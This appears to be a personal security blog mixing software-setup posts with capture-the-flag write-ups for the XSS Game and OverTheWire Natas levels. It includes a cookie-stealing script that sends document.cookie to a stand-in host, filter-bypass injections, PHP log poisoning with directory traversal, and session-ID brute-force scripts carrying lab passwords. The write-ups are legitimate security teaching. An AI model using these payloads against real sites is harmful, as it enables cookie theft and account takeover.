Security Challenges
Solutions to security challenges / Security research / Programming blog
Friday, June 10, 2016
to the Dark Side and Beyond: Upgrading to Win10
It was announced that Windows 10 supports bash now.
So, IDFC about my privacy anymore :)
In this post we will upgrade our neglected windows machine to Windows 10.
The internet experiences many problems in upgrading. It also full of risky and not working solutions. This post was written in order to give you more power in debugging your problems.
Today I'll give you tools to debug your error code, specifically debugging error code 0x80070006
First, start the upgrade.
The upgrade process will create a hidden folder in your main drive with some very interesting logs:
$WINDOWS.~BT/Sources/Panther/setupact.log - logs setup actions
$WINDOWS.~BT/Sources/Panther/setuperr.log - logs setup errors
by inspecting setuperr.log we can identify the specific problem.
when the update fails, it just reboot, writes something about rollback, reboots and then when the old windows installation boots we get a description of the error. The description is very (!) minimalistic and actually says nothing about the real problem.
In case of 0x80070006, the error message is "the installation failed in the SAFE_OS phase with an error during APPLY_IMAGE operation".=S
From the setuperr.log we learn that the actual problem was during copying compressed old windows installation. Mmm .. seems like space problem on our main drive. This is in spite of Windows 10 says that we have enough space! Probably someone forgot to count the compressed Windows.old size.
In my case Windows.old consumes ~15GB
I extended my main drive (using a partition tool) and reinstalled. It actually did the magic and windows 10 was installed :)
BTW the discussed hidden folder $WINDOWS.~BT can be deleted safely. It consumes some GBs you can get rid off :)
Thursday, April 28, 2016
CLion preprocessor include hack
#ifdef CLION_PREPROCESSOR_INCLUDE #include <...> #endif
In CMakeLists.txt add_defenitions will contain -DCLION_PREPROCESSOR_INCLUDE
And now the indexer will work fine :D
Another issue was discovered during this hack.
Clion indexer has the classic bug of recursive indexing a file contains #include directive to itself ...
Saturday, October 10, 2015
CLion on Arch linux
I wanted to try the brand new IDE from JetBrains for C/C++ development. It's called CLion.
It was really easy to deploy. I downloaded the tar from their site and executed
./clion.sh
But, after a short time ... the JVM crashed :O
I was really sad and tried the quick and dirty fix - upgrading my JRE ...
I gave clion.sh a second chance but the same exception comes out ...
I notice the jre directory near it. Maybe it uses it ?
I check the java -version of it and discovered it's OpenJDK RE 1.8
A little survey in clion.sh reveals it secrets:
# Locate a JDK installation directory which will be used to run the IDE.
# Try (in order): CL_JDK, ../jre, JDK_HOME, JAVA_HOME, "java" in PATH
so lets set CL_JDK to our installed JRE path and ... it's working :)
happy CLioning ^ ^
Saturday, September 12, 2015
OverTheWire - All Solutions !
Now, go solve it yourself ! :D
If you ever need something, you can catch one of OTW masters at irc://irc.overthewire.org:6667
the community is a very nice, you should check it out
:)
#morla_is_my_hero
Saturday, November 15, 2014
WIN32 SEH
Today I gonna dump some facts about Windows Structured Exception Handling (SEH) mechanism. This article is mostly based on This great article.
OK, some dry facts about exception handling in Windows:
- per thread
- FS:[0] (TIB first dword) points to the first EXCEPTION_REGISTRATION struct
_EXCEPTION_REGISTRATION structexcept_handler callback
prev dd ? // EXCEPTION_REGISTRATION linked list next record
handler dd ? // _except_ handler callback function pointer
_EXCEPTION_REGISTRATION ends
- can agree/decline to handle a given exception
- if declined, the system will continue looking for other exception handler
EXCEPTION_DISPOSITION __cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord, // registers values when exception occured
void * DispatcherContext );
typedef struct _EXCEPTION_RECORDException handling flow:
{
DWORD ExceptionCode; // assigned by OS
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress; // where the exception occured
DWORD NumberParameters;
DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
- Exception occurred
- The system walks the EXCEPTION_REGISTRATIONs linked list to find a hanlder
- when a handler agreed to handle the exception all the handlers before it are called again with flag EH_UNWINDING (to allow cleanups*)
* when handler declines handling an exception, control typically doesn't exit from the function normally - calling dtors and finally blocks - execution continues wherever the handling callback decides (with ebp, esp set by the handler)
- all things below the handling frame's stack region are "removed"
- EXCEPTION_REGISTRATIONs in the list prior to the one that handled the exception are removed from the list
- see step 11 in the above figure
- default OS supplied exception handler (terminate / debug dialog)
- always agrees to handle an exception
- if no debugger is installed, the default dialog you will see may be similar to this:
- every EXCEPTION_REGISTRATION handler points to the same VC++ runtime lib function __except_handlerX
- only one EXCEPTION_REGISTRATION is created per function on the stack
struct _EXCEPTION_REGISTRATION{
struct _EXCEPTION_REGISTRATION *prev;
void (*handler)(PEXCEPTION_RECORD,
PEXCEPTION_REGISTRATION,
PCONTEXT,
PEXCEPTION_RECORD);
struct scopetable_entry *scopetable;
int trylevel; // index into scopetable
int _ebp; // ebp value before the EXCEPTION_REGISTRATION was created
PEXCEPTION_POINTERS xpointers;
};
typedef struct _SCOPETABLE
{
DWORD previousTryLevel; // the next level try block trylevel (most in -> out)
DWORD lpfnFilter
DWORD lpfnHandler
} SCOPETABLE, *PSCOPETABLE;
The main idea behind this technique is expressed in the following simple example:
void foo() { printf("code line #1\n"); printf("code line #2\n"); printf("code line #3\n"); }will become:
void foo() { try { // exception } catch(...) { printf("code line #1\n"); try { // exception } catch(...) { printf("code line #2\n"); try { // exception } catch(...) { printf("code line #3\n"); } } } }
Friday, July 11, 2014
Challenge of a different kind - Exporting a Virtual PC Windows XP Mode VM to VirtualBox
Today I wanna share a solution to a technical challenge I encountered - Exporting a Virtual PC Windows XP Mode VM to VirtualBox.
Reason: Virtual PC is a good virtualization framework but I wanted to have all my VMs in a single place - VirtualBox.
A long search didn't yield any magic solution for this, so I had to think on a strategy.
The most Intuitive solution will be to create a new VirtualBox VM which will use the Windows XP Mode vhd (Virtual Hard Disk). It didn't succeed because this VM is more complex than it looks like:
It composed of a vhd for the specific Windows XP Mode instance and a parent vhd for all the Windows XP Mode instances in Virtual PC.
I can see why this design is efficient but it damages VM portability - The user will have to copy two vhds to set the same VM on a different machine.
In addition, this concept isn't standard and isn't supported in other frameworks so exporting the VM is not trivial at all.
TL;DR ? The solution: disk2vhd from the legendary SysInternals Suite !
The first task will be to export Windows XP Mode VM as independent VM:
1. run disk2vhd on the Windows XP Mode VM and choose all partitions
2. checkboxes:
- _ Prepare for use in Virtual PC
- _ Use Vhdx
- V Use Volume Shadow Copy
4. Hit create button !
Now we have a vhd with our complete Windows XP VM, independent from Windows Virtual PC.
The second task will be to import it to VirtualBox:
1. create new Windows XP VM
2. choose "Existing hard drive" and use the path of the vhd file we created.
3. start the machine :)
Some notes:
* while copying the vhd file from the guest to host, make sure the system doesn't go to sleep ... otherwise the copy will fail
Solved !
Tuesday, June 3, 2014
XSS Game Insights
This vulnerability allows us, as attackers, to inject client side code into pages which will be executed on a victim client with the rest of the client code on the page.
In this challenge, we attack ourselves. This is the first step, the PoC (proof of concept) to demonstrate the vulnerability existence. 'alert' was executed successfully therefore any other code will do.
The second step will be to exploit the vulnerability.
For example, an attacker can write a simple client side code to steal victim's cookies from the vulnerable site (why not all cookies ? read more SOP):
function httpGet(url) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", url, false); xmlHttp.send(null); } httpGet("evil.url.com?cookies="+document.cookie);
Try to inject it to level 1 (wrap this code with <script>...</script>). As you can see, when the page with our injected code will be rendered on the victim, a HTTP request to our site (evil.url.com) will be generated with the user's cookies }:-D.
So our exploit is ready and tested locally. Now we want to attack the victim.
In the case of level 1 we will have to provide the victim with a url containg our code in the query parameter:
xss-game-url/level1/frame?query=%3Cscript%3E+function+httpGet%28url%29+{+var+xmlHttp+%3D+new+XMLHttpRequest%28%29%3B+xmlHttp.open%28%22GET%22%2C+url%2C+false%29%3B+++++xmlHttp.send%28null%29%3B+}+httpGet%28%22evil.url.com%3Fcookies%3D%22%2Bdocument.cookie%29%3B+%3C%2Fscript%3E
If the victim installed a plugin such as NoScript, this simple XSS attack will be prevented (recommended).
That's it. In this post I wanted to give a more whole picture about XSS attacks.
Happy XSSing ! :D (only on yourself of course ...)
Friday, May 30, 2014
XSS Game 6/6
... function includeGadget(url) { var scriptEl = document.createElement('script'); // This will totally prevent us from loading evil URLs! // NOT ! ]:-) if (url.match(/^https?:\/\//)) { setInnerText(document.getElementById("log"), "Sorry, cannot load a URL containing \"http\"."); return; } // Load this awesome gadget scriptEl.src = url; // Show log messages ... document.head.appendChild(scriptEl); } // Take the value after # and use it as the gadget filename. function getGadgetName() { return window.location.hash.substr(1) || "/static/gadget.js"; } includeGadget(getGadgetName()); ...
It seems like we just have to provide a url to a js file with alert call.
I used http://tempsend.com to upload my js file which contains:
alert("Owned!");Now we want to include it in the victim page. It's challenging, the http:// prefix of a url is sanitized. There are some ways to bypass it:
- When passing url with // prefix the used protocol is the same of the protocol used to fetch the calling page (in our case http, as required).
- We can use uppercase prefix (HTTP://) which is not sanitized (or partly uppercase prefix such as HttP://)
- We can upload our js file to a server supporting https://
//tempsend.com/path/to/alert.jsAnd this level is ... Owned !
OWNED THE CAKE !!! Omnumnumnum
-oooo:- omhsoosho` Ndo:``:oh- dms+--+ym: -ymhohdh+` `N/`.s. +: + -- : -- o .. + :: s ..` .:sssso. -- + :syhhyo` ..::::. `odhhyyhdd. :: s .mhhyhhdh. -:...` /dhhhhhhs .odddhyhdddh+y: my-syhdhhyhhddy/` .odhyyhh: yNdhyyoyhmo+::+ms/+++//++/odm: NNmNd+///+++/+ody::omhyssyhdm- -sddyyyyyyyoommmmmmdhyyyyyyhddd: `ddmdmdhyssyyhhmmNNNNdhyyyyyhmo-` ``-omdyyyssys///shdddddddddmmdddhyy-``yhddddhhhhhdmmmmmmdd/oyssyyyyhmhss-` `:ohhdmddhhyyyyyshddddhhyyyyyhddhhyo:-...--shhyysssyyhhdhhhddyyysyyyhdddmNNmyo. /hNNmmd/:o+/////:`/osyhhyyys+syyhhyysysooossyyyyyooyyyyyyysyy+./oooooos/:ydNNmNmo. +dNmmmmmhoo+///////oossshhyyyyyyyyssoossoosoosssyyyyyyyhsoyyyys/:-..--:/+sdddmmmNMy `hNmmdmmdmddddhhhyhysso+.oyssssso-./o:-/+oo++oo--osoooooo..oyyhyyyyyyhhhyhdddmmdmNNN `yNmNNhhdmdddhhhyyyyyyys:-......`./+++/:o++oo++/-````..::/+sysysyyyhsshhhydddmmmNNNN sMNNNNNNmmdmdhhhhyyyyyyhhssssoo+oo/+//:/+//+:++++ooosyooyssosyyhhyhsshdhdmmNmNmmMMN -NNNNNNhmNmdmmmdddddmhhhyyyyssys///+/:://////o+osoo+osoossosyhhdddh+omddmNNmmNmNMMN oMNNNNNNNNdydNmmmmmdhydhhsoooodhydhsshys+soyooooosssyhyhymdhdhyddmmmdmNNNNNNmNNNMMM yMMNNNMmmNdmmNNNNNNmh/sysyysyhyddmhhyhyhhddyyyhmddhhdmdddmmmdmmmmNNmmmNmNNNNmMNMMMM .dMMNNMMNNNmNNNNNNmmNNhsddddNNdmhdmddyyhdhdhdddhdmhhdddhmddmmmNNNNNNNNNNNNNNNNMNMMMM :NMMMNMMNMNhhmNNNNmdmNNmhddmdNmmmmmmddddNmdhdhddddmddmmmmmmNdNmdmmNNNmNNNNNdmMMMMMMM -mMMMMMNNmNNmNNNNNNNNNNNdmmNmNmNmNmmNNmmNNdhddmmmmNmhhhyohNMNMNmmmmNdmNNMMMNNMMMMMMM .dMMMMMMNNNMMMMMNNNNNMNmmmNNNmmmmNNdddmmNNNmmdNNmNNNmmNNNNNNNNNNNNNNNmNNNNNmNMMMMMMM :NMMMMMMMMMMMMMMMNmmNMNNNNNNNmmNmNNNNmdmNNNNNNNmNNdmNNMMNMmNNNNNNMMNdmNNNMNmmMMMMMMM :NNMMMMMMMMMMMMMMMMNNMNNMNNNMMMNNNNNNmNmdmmmNNNNNNmmNNNNNNNNNNMNNMMMNNNNMMNmMMMMNNMN :NMMMNNMMMMMMMMMMMMMNNMMMMNMMMNmNNMNNNNNmhNMNNMNNNMMNMMMMMNNMMNNNMNMMMMNMMNNMMNMNMMM `hMMMNdMNNMNNNNNMMNNNNMMMMMMMMNmNMMMMNNNNNNNdmmmMNMMMMMMNNMMNmdNMMNMNNNNMNmmNMNMMMMN yMMMMNMMNMNmmNNNMNmddmMMNNNMNNNNNMMNNNNMNNNNNNNmNNNNNNNNNNNNNddNdmdmmNNMNNdMMMMMMMN yMMMMNMNMMNNMMNNNNmdmmNMNNdhmMNNNNNNmNMMddddmNNNmNNMMNmNmmmmmNNmmmmNMMMMMMNNNMMMMMN yNNNMMNNMMMMMMNNNNNMmmdNNNNNNNNNNNNmNNNNNmNmmNNNNNNNNNNNmNmNNNNNNNNNNNNNMMMNNMMMMMy +MMMMMMMMMMMNNNNMMMNNNNmNNNMNMNNMNNmhdNNNNNmNNNmmNNNNNNNNNNNMMNNmNNNNNMNMNMMMMMMMN: NMMMMNMMMMMMMNNNNNNdNMNNNNNNmNNNNNNNNNmmhNNNNmdNNNNNNNNNMMNNMNNNNNNNNNMMMMNNMMMNs` -sdmNMNNMMMMMNNNNmmmmNNNMNmNMNNNNNNNMNmNNNNNNmmmdmNNNMNmmmmNMNNMNMmmNNMMMNMNmd+-` `.ohNNMMNMMNMNNmdmNNNNNNmNMNNMNNNNmNNNmmmNmNMMNNMNNMMNNNNNNNNNNMMMMMMMNNho.` :+hdNNNNNNNNNNNNNNmNNNNNNNMNNNmNNNNmMmmmNNNMNNNNNNNNMNNMMMMMNNmdds/- `--:+shddmmNmmmmNNNNMNNNMNNNNNNNNNNMMNMMMNNNmNNNMNNNNdh++/-.` `--++osdddddddysNmmhshmmmmmNmddddddho/:++/--- `-.-. .------.
XSS Game 5/6
Try to signup. We redirected to /frame/signup?next=confirm
enter some email address, we redirected to /frame/confirm and then back to /frame/welcome
seems like the next button on signup page redirected to the value of next parameter!
This means we control the 'href' attribute of the <a> tag (we can see it also in the source)
lets try to put inline javascript in it :
next=javascript:alert('Owned!')And ... Owned !
XSS Game 4/6
As always we start with behavioral analysis. Lets give some number to the timer. Oh, we redirected to another page with a waiting message:
"Your timer will execute in <timer> seconds."
<timer> is the value we passed in the previous page. The first page contains a form which generates a HTTP GET request with the parameter 'timer' to timer.html (the actual HTTP GET request is to index.html but the webserver redirect it to timer.html if a 'timer' parameter was added)
OK, cool. Instead of giving a numerical value lets inject some html tag >:)
<b>XSS?</b>=O It was sanitized! Meaning the real fun begins :D
lets inspect timer.html page:
<script> function startTimer(seconds) { seconds = parseInt(seconds) || 3; setTimeout(function() { window.confirm("Time is up!"); window.history.back(); }, seconds * 1000); } </script> </head> <body id="level4"> <img src="/static/logos/level4.png" /> <br> <img src="/static/loading.gif" onload="startTimer('<timer_value>');" /> <br> <div id="message">Your timer will execute in {{ timer }} seconds.</div>
we will try to inject our code to:
onload="startTimer('<timer_value>');"This is strategic place because this code is executed on page load.
For injecting without any annoying popups, lets start our injected timer value with 100000000.
The timer won't be triggered soon, we have time to work without interrupts :)
timer=100000000
first, we want to escape from the '...' context. Lets inject timer=100000000%27 (%27 represents ' in hex-encoded ascii).
We get Uncaught SyntaxError: Unexpected token ILLEGAL In Chrome console. It seems that now we broke something - the ' we injected messed up the timer value warpping.
Lets continue with calling to alert.
we want something like this: startTimer('1');alert('Owned!');
timer written hex-encoded: timer=1%27%29%3Balert%28%27Owned!
Notice we didn't inject the closing ') for the alert because it already was there.
We changed the time value to 1 to avoid waiting forever for the timer to fire up.
Owned !
XSS Game 3/6
On this level we have a site without any input fields. Interesting, isn't it the only channel to enter input ?
Of course not ! The most basic user input is the URL he enters in his browser which generates a HTTP GET request sent to the HTTP server. This request can carry user parameters for loading the required page.
Lets begin. When clicking 'Go' we notice that the URL changed to ../frame#1
Interesting. Lets click on Image 2 and Image 3 tabs, the number at the end changed in both cases.
Lets try to get /frame#42. Nice ! The title is Image 42, meaning we have a sort control on the content the victim client is parsing. We notice that no image was loaded, maybe it has something to do with the number we pass ? Maybe it's an index for images container or something ?
Time to raise the bar and inspect client side code ! The inspection is still considered blind because we don't have the server source code (the standard case)
<script> function chooseTab(num) { // Dynamically load the appropriate image. var html = "Image " + parseInt(num) + "<br>"; html += "<img src='/static/level3/cloud" + num + ".jpg' />"; $('#tabContent').html(html); window.location.hash = num; // Select the current tab var tabs = document.querySelectorAll('.tab'); for (var i = 0; i < tabs.length; i++) { if (tabs[i].id == "tab" + parseInt(num)) { tabs[i].className = "tab active"; } else { tabs[i].className = "tab"; } } // Tell parent we've changed the tab top.postMessage(self.location.toString(), "*"); } window.onload = function() { chooseTab(self.location.hash.substr(1) || "1"); // [!] the function chooseTab is called //with the parameter after the '#' from the url on load } // Extra code so that we can communicate with the parent page window.addEventListener("message", function(event){ if (event.source == parent) { chooseTab(self.location.hash.substr(1)); } }, false); </script>This code gives an explanation to the controlled integer field we observed on first sight.
The most interesting line is:
html += "<img src='/static/level3/cloud" + num + ".jpg' />";This line shouts: "unsanitized user input is mixed up with code" This code is later sent back to the client which renders it (Javascript code)
Remembers the technique from the previous level ? lets use it again: We will inject this:
1000.jpg' onerror='alert("Owned!")' alt='
We get:
<img src='/static/level3/cloud" + "1000.jpg' onerror='alert("Owned!")' alt='" + ".jpg' />More readable (after concatination):
<img src='/static/level3/cloud1000.jpg' onerror='alert("Owned!")' alt='.jpg' />The image we try to load doesn't exist and the onerror event we defined will be triggered. We added alt attribute to push the hard-coded '.jpg' that was there. alt attribute defines the description of the image >< (So 90s)
We can announce owned ! >:)
XSS Game 2/6
Here we have kind of chatting service (very lame one because of the xss bug in it =D)
Let's start our blind inspection:
Input:
<b>Sup?</b>As we can see our HTML tags were rendered by the browser too ! No escaping again >:)
the trivial next input will be
<script>alert("Owned?")</script>But this time it doesn't work (If it was, this level won't teach us nothing we didn't learn from the previous one).
Seems like someone filtered out <script> HTML tags from his chatting service (chatting service requires at most tags for styling such as bold/underline so it's reasonable not to support it)
So ... our trivial injection doesn't work but there are plenty of options to execute javascript on a victim client }:-)
It's a chatting service -- so maybe <img/> is supported. OK, it is. What could be done with that ???
we can define javascript code to be called on events such as onclick, onload, onerror.
- The first option will require the victim to click on the image, therefore requires more than just injection (convince the victim to click on it)
- The second option requires a successful image loading so we will have to supply an image to load ... Nobody Got Time For That !
- The third option requires an unsuccessful image loading. Easy ! let's give bad img src value and the event will be fired :)
<img src='bad_src' onerror="alert('Owned!')"/>
Gotcha!
XSS Game 1/6
http://xss-game.appspot.com/
To make it more challenging I'll demonstrate it as blind injection :)
OK, we have a popular search engine called '4|4'. Lets check if we can inject HTML at all.
Input : "<script></script>"
Output : "Sorry, no results were found for . Try again."
In the normal case it will be "Sorry, no results were found for
Now lets inject the real thing:
<script>alert('Owned!')</script>
Owned ! Now lets see the reason - the server side code that generates this page:
... query = self.request.get('query', '[empty]') # Our search engine broke, we found no results :-( message = "Sorry, no results were found for <b>" + query + "</b>." message += " <a href='?'>Try again</a>." # Display the results page self.render_string(page_header + message + page_footer) ...We can see that our query is mixed with the regular HTML page content without any escaping ... any developer should avoid that.
Let's move on !
Sunday, December 15, 2013
OverTheWire Natas 25
function logRequest($message){ $log="[". date("d.m.Y H::i:s",time()) ."]"; $log=$log . " " . $_SERVER['HTTP_USER_AGENT']; $log=$log . " \"" . $message ."\"\n"; $fd=fopen("/tmp/natas25_" . session_id() .".log","a"); fwrite($fd,$log); fclose($fd); }logRequest function let us append arbitrary content to arbitrary file path. Why ?
1. We control $_SERVER['HTTP_USER_AGENT'] which is the value of the User-Agent HTTP header.
2. We control session_id() by PHPSESSID cookie value.
Let's set User-Agent to be the following:
<?php echo file_get_contents('/etc/natas_webpass/natas26') ?>and PHPSESSID value to be 'pwned'.
So, what we have done until now: if the logRequest function will be called, a PHP code that will print the next level password will be wrote to the file /tmp/natas25_pwned.log.
The last step is to display this code output. We can do it by including /tmp/natas25_pwned.log file content in the page by exploiting the following function which is called on page loading:
function setLanguage(){ /* language setup */ if(array_key_exists("lang",$_REQUEST)) if(safeinclude("language/" . $_REQUEST["lang"] )) return 1; safeinclude("language/en"); } function safeinclude($filename){ // check for directory traversal if(strstr($filename,"../")){ logRequest("Directory traversal attempt! fixing request."); $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks... if (file_exists($filename)) { include($filename); return 1; } return 0; }
You can see that safeinclude function gives us hard life by removing '../'. To bypass it we will use the following distinction:
'..././' will become '../' after '../' will be removed. Therefore, we can use it to escape from the 'language/' directory and include arbitrary path (/tmp/natas25_pwned.log)
We will set lang GET parameter to be:
lang=..././..././..././..././..././tmp/natas25_pwned.log
It will trigger the logRequest function because there was a directory traversal attempt and the PHP code we saw earlier will be written to the included file.
Pwned ! :)
OverTheWire Natas 24
<?php if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } } // morla / 10111 ?>strcmp is used. Therefore, passwd GET parameter is expected to be a string. We want strcmp to return 0. It will happen if passwd will be a string equals to
Let's pass it as array, e.g. passwd[]=hacked. The following warning will be printed:
Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23Together with the next level key :)
Friday, December 13, 2013
OverTheWire Natas 23
if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password:</pre>"; } else{ echo "<br>Wrong!<br>"; } }
It reveals that if the GET parameter passwd will be sent, containing the substring 'iloveyou' and has a numeric value above 10, we will get the next level credentials !
So, our passwd parameter will contain 'iloveyou' as substring.
The condition
$_REQUEST["passwd"] > 10does an implicit casting of string to int by using the numeric part of it from the beginning of the string. For example "10str" will become 10.
In all of this in mind, we will set passwd to be 100iloveyou. 100 > 10 and iloveyou appers. Done :)
OverTheWire Natas 22
Code inspection reveals that if we will send the GET request with "revelio" parameter, we will receive the next level credentials.
There is one complication. If we are not the admin, a redirection header will be added to the HTTP response. To overcome this, don't use a browser (alternatives - wget, curl, proxy tool ... )
And you got the keys to the next level :)
OverTheWire Natas 21
There is also another page in this level - http://natas21-experimenter.natas.labs.overthewire.org/ The code of this page contains the following block:
if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } }If 'submit' was sent as a GET parameter, each (key,val) tuple in the GET request will become a key in the session with 'val' as value.
We will use it to set the session key-value ('admin',1).
The session is shared across the pages, therefore when we will back to http://natas21.natas.labs.overthewire.org/ , we will be identified as admin ! Solved :)
OverTheWire Natas 20
How we gonna do it ? Further analysis shows that we need a way to write to the session file the following line:
admin 1
Easy! The name parameter is written to the session file. We can append it the required line by sending the following name as parameter:
hacker%0Aadmin%201Unescaped:
hackerThen the session file will look like this:
admin 1
name hackerAnd when it will be read, we will have admin field set to 1 in our session --> got admin !
admin 1
The next level credentials will be printed. GAME OVER :)
OverTheWire Natas 19
PHPSESSID = hex((sessid)+'-'+(username))
when (sessid) is a random number probably in {1,2,...,641} (inspected by deleting the PHPSESSID cookie several times)
We are interested, again, in the admin user session. So, (username) will be replaced with 'admin' and we will use brute-force on the (sessid) parameter as we did in the previous level.
import requests for sessid in range(641,0,-1): r = requests.get('http://natas19.natas.labs.overthewire.org', \ auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'), \ cookies={'PHPSESSID':(str(sessid)+'-admin').encode('hex')}) if 'You are an admin' in r.content: print r.content # print next level credentials breakSolved :)
Thursday, December 12, 2013
OverTheWire Natas 18
function isValidAdminLogin() { /* {{{ */ if($_REQUEST["username"] == "admin") { /* This method of authentication appears to be unsafe and has been disabled for now. */ //return 1; } return 0; } ... $_SESSION["admin"] = isValidAdminLogin();So instead of try manipulating our own session, let's try identifying with the admin session ! The session id is generated by the following function:
function createID($user) { /* {{{ */ global $maxid; return rand(1, $maxid); }where
$maxid = 640;The function generates a random session id in {1,2,...,640} --> The session id space is small enough for brute-force attack to be feasible.
import requests for sessid in range(641): r = requests.get('http://natas18.natas.labs.overthewire.org?debug=1', auth=('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'), cookies={'PHPSESSID':str(sessid)}) if 'You are an admin' in r.content: print r.content # will print next level credentials. breakSolved :)